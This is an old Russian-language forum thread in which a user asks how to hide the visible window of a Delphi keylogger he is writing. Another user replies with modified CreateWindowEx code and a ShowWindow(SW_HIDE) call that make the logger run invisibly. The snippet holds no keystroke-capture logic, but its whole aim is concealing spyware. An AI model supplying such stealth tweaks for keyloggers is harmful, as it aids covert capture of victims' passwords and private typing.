Проблемы с кейлогером
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблемы с кейлогером - 2008-01-17 22:36:54.546666
|
|
|
Dr.KoD
Сообщений: 59
Оценки: 0
Присоединился: 2007-09-29 16:45:59.820000
|
Вот в этот код мне в принципе не нужен, т.к. он показывает окошко, а вот оно мне не к чему, в принципе можно просто удалить данную процедуру, вся функциональность сохраняется, но вот кейлогер перестает записывать в лог файл русские буквы:
Procedure AppOn;
begin
with WinClass do
begin
lpszClassName:=WinTitle;
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_VISIBLE or WS_MINIMIZEBOX or WS_CAPTION or WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 100, 63, 0, 0, hInstance, nil);
end; если надо то в следующем посте кину и длл к проге, хотя я думаю если кто знает как помоч то и без нее поможет.
За ранее благодарен!!!
|
|
|
|
|
RE: Проблемы с кейлогером - 2008-01-17 22:44:24.003333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Поменяй строку
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_VISIBLE or WS_MINIMIZEBOX or WS_CAPTION or WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 100, 63, 0, 0, hInstance, nil);
На
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
И добавь строку:
ShowWindow(Handle, SW_HIDE);
|
|
|
|
|
|
